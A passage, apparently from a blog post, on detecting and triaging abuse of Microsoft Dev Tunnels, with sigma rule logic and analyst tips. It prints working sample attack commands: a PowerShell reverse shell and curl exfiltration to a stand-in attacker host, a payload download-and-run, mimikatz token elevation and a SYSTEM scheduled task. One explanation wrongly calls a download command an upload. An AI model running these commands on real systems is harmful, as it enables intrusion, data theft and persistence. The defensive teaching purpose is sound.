if:</p><ul><li><strong>Selection 1</strong>: A <strong>cmd.exe</strong> process is used to execute <strong>devtunnel.exe</strong> or contains the word remote in the command line.</li><li><strong>Selection 2</strong>: A tunnel is initiated from <strong>either Visual Studio Code (</strong><strong>vscode.exe) or Visual Studio (</strong><strong>devenv.exe)</strong> by executing cmd.exe or powershell.exe with the command line containing <strong>code tunnel</strong> or <strong>./code tunnel</strong>.</li></ul><p>The articles listed at the beginning of this blog show techniques that can be deployed by threat actors that the above rule is written to detect. Bear in mind that the sigma rule is like an outline for more tool-specific/vendor-specific detections, so feel free to edit this to fit your environment.</p><p><strong>Tips for Analysts</strong></p><p>The dev tunnel executable is a signed binary that can be utilized by malicious actors and is an attractive method as it can evade typical anti-virus (AV) and Endpoint Detection &amp; Response (EDR) signatures. The technique of exploiting signed and trusted binaries native to the operating system is called <strong>Living Off the Land Binaries (LOLBins)</strong>. Here’s an article specific to <strong>devtunnel.exe:</strong></p><p><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/devtunnels/">Devtunnels | LOLBAS</a></p><p>So if detections are built properly and you receive an alert for Dev Tunnel abuse, how can you create a comprehensive analysis of this activity to empower those receiving your report to take action? Let’s get into it!</p><h4><strong>Tip 1: Understand the Rule Logic as an Introduction to the Story</strong></h4><p>Before you starting digging into finding relevant artifacts and performing your analysis, you need to understand why the rule fired and what it is detecting. Different rules are written to detect different parts of the attack sequence. Some rules may be written to detect reconnaissance, delivery, or installation, while others may just be informational. The point is that they all have a purpose. Understand that first. Once you understand that, it can give you an idea of where to look! In this case, is the rule firing on Dev Tunnel creation or is it firing on exploitation of this feature post-creation?</p><p><strong>Tip 2: Examine Event Logs on the Host for Evidence of Dev Tunnel Abuse</strong></p><p>To effectively investigate something, we want to have a mental note of questions to make targeted pivots on the host we are investigated. If the rule fired for Dev Tunnel creation, there a <strong>five </strong>main threats we want to look for on the host (in no particular order):</p><ul><li>Reverse shell</li><li>Privilege Escalation</li><li>C2/Malware Download</li><li>Data Exfiltration/Data Manipulation</li><li>Schedule Task Creation</li></ul><p>Example command lines or evidence of malicious activity will be provided below for each of threat type. I had <strong>ChatGPT create samples</strong> for each of these and a short explanation of what is occurring will follow:</p><p><strong>Reverse shell</strong></p><pre>powershell -NoProfile -ExecutionPolicy Bypass -Command &quot;&amp; { $client = New-Object System.Net.Sockets.TCPClient(&#39;attacker_ip&#39;, port); $stream = $client.GetStream(); [byte[]]$buffer = 0..65535|%{0}; while(($read = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read); $sendback = (iex $data 2&gt;&amp;1 | Out-String ); $sendback2  = $sendback + &#39;PS &#39;; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte, 0, $sendbyte.Length); $stream.Flush() }; $client.Close() }&quot;</pre><p><strong>What it does</strong>: This command establishes a <strong>reverse shell</strong> to the attacker’s machine. It creates a <strong>TCP connection</strong> to attacker_ip on a specified port. The PowerShell script reads commands from the attacker, executes them on the victim&#39;s system (iex), and sends the output back to the attacker.</p><ul><li>-NoProfile: Prevents PowerShell from loading user profiles (faster, less likely to trigger alarms).</li><li>-ExecutionPolicy Bypass: Allows the script to run without being blocked by PowerShell’s execution policy.</li><li>TCPClient: Establishes a network connection with the attacker&#39;s machine.</li></ul><p><strong>Data Exfiltration</strong></p><pre>powershell Invoke-WebRequest -Uri http://attacker_ip -OutFile sensitive_data.zip</pre><p><strong>What it does</strong>: This command uses PowerShell to download or exfiltrate a file. Here, it’s using <strong>Invoke-WebRequest</strong> to download sensitive_data.zip from the victim’s machine and upload it to a remote server (attacker_ip).</p><p><strong>Key Points</strong>:</p><ul><li>Invoke-WebRequest: PowerShell&#39;s cmdlet to interact with web servers (HTTP/HTTPS requests).</li><li>-Uri: Specifies the remote server or destination host.</li><li>-OutFile: Saves the output (in this case, a file) to the attacker-controlled machine.</li></ul><pre>curl -T sensitive_data.zip http://attacker_ip/upload</pre><p><strong>What it does</strong>: This command uses <strong>cURL</strong>, a tool for transferring data over network protocols, to <strong>upload</strong> a file (sensitive_data.zip) to an attacker-controlled endpoint (attacker_ip/upload).</p><p><strong>Key Points</strong>:</p><ul><li>curl -T: Uploads the file specified (sensitive_data.zip).</li><li>http://attacker_ip/upload: The target server where the file is sent.</li></ul><p><strong>Privilege Escalation</strong></p><pre>mimikatz.exe &quot;privilege::debug&quot; &quot;token::elevate&quot; &quot;exit&quot;</pre><p><strong>What it does</strong>: This command uses <strong>Mimikatz</strong> to elevate privileges by stealing an <strong>access token</strong> from a privileged user (like SYSTEM). The attacker can then impersonate that user and gain full control of the system.</p><p><strong>Key Points</strong>:</p><ul><li><strong>Token Impersonation</strong>: Attackers steal or duplicate tokens to escalate privileges.</li><li><strong>Mimikatz</strong>: A powerful post-exploitation tool used for credential dumping and privilege escalation.</li></ul><p><strong>Malware/C2 Download</strong></p><pre>powershell -ExecutionPolicy Bypass -NoProfile -Command &quot;Invoke-WebRequest -Uri &#39;http://attacker_ip/payload.exe&#39; -OutFile &#39;payload.exe&#39;; Start-Process &#39;payload.exe&#39;&quot;</pre><p><strong>What it does</strong>: This command downloads a file (payload.exe) from an attacker-controlled URL (http://attacker_ip/payload.exe) and then executes it using PowerShell.</p><p><strong>Key Points</strong>:</p><ul><li>Invoke-WebRequest: Downloads a file from a host URL.</li><li>Start-Process: Launches the downloaded executable (payload.exe), which in this case would be the malware.</li><li>The file could be ransomware downloaded to the host or a script that will incite the host for C2 call-back.</li></ul><p><strong>Schedule Task Creation</strong></p><pre>schtasks /create /tn &quot;TEHE&quot; /tr &quot;powershell.exe -ExecutionPolicy Bypass -File C:\path\to\script.ps1&quot; /sc onlogon /ru SYSTEM</pre><p><strong>What it does</strong>: This command creates a <strong>scheduled task</strong> named TEHE that runs a PowerShell script (script.ps1) every time the user logs in (/sc onlogon). The task is run with <strong>SYSTEM</strong> privileges (/ru SYSTEM), making it very powerful.</p><p><strong>Key Points</strong>:</p><ul><li>schtasks: A Windows command to manage scheduled tasks.</li><li>/sc onlogon: Specifies that the task will run at user logon.</li></ul><p>From these different attack sequences we are able to report findings on what events took place on the host and perform open-source intelligence (OSINT) on relevant IoCs like:</p><ul><li>File Names</li><li>IP Address</li><li>Domain Names</li><li>File Hashes</li></ul><p>If extensive logging isn’t available on the alerting host (just throw the entire alert away, lol jk…) you can tackle this from a more holistic view. Using firewall logs or data aggregated to the SIEM, can suspicious traffic (inbound and outbound) be observed between this host and external IP address? What may classify as suspicious you ask? It could be communication to a known bad IP address, navigation to a malicious website, traffic using uncommon ports or common ports with an infamous reputation, etc. These are actionable insights that can bulk up the report of your findings!</p><p><strong>Tip 3: Historical Data/Context</strong></p><p>Context is super important for determining whether something is truly malicious! In this case of Dev Tunnels, it very well could be a legitimate authorized user who is using the feature for a legitimate business use case. This is where historical data might be useful, has this user been observed doing something like this before that was confirmed to be authorize? Now, just because a user may be authorized to use a tool, listen to the gut feeling if something looks out of the ordinary!</p><p>Hopefully this article was helpful in any way, but especially for this new attack vector! Feel free to connect with me on LinkedIn!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fabb822c4161" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>